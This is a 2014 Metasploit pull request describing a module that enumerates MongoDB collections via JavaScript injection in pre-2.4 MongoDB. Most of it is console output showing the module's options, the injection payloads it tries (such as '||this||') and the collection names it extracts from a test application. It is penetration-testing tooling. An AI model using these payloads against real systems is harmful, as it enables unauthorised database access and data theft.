rapid7/metasploit-framework — pull request #3430 by brandonprry (2014-06-07 16:23:18+00:00)
Title: Generic MongoDB javascript injection collection enumeration

This module was tested against a small php application I wrote interfacing with MongoDB 2.2.7. It should be generic enough to work against a few injection vectors.

https://gist.github.com/brandonprry/c2de8ac2be825007c4de

The technique used to enumerate the collections is only available in version of MongoDB prior to 2.4. I tested against MongoDB 2.2.7.

```
msf auxiliary(nosql_injection_collection_enum) > show options

Module options (auxiliary/gather/nosql_injection_collection_enum):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.128 yes The target address
RPORT 8080 yes The target port
TARGETURI /index.php?race=fdsa[NoSQLi] yes Full vulnerable URI with [NoSQLi] where the injection point is
VHOST no HTTP server virtual host

msf auxiliary(nosql_injection_collection_enum) > run

[*] Testing ";return+true;var+foo="
[*] Testing ';return+true;var+foo='
[*] Testing '||this||'
[*] Looks like '||this||' works
[*] 2 collections are available
[*] Length of collection 0's name is 9
[*] Collections 0's name is phpmanual
[*] Length of collection 1's name is 14
[*] Collections 1's name is systemindexes
[*] Auxiliary module execution completed
msf auxiliary(nosql_injection_collection_enum) >
```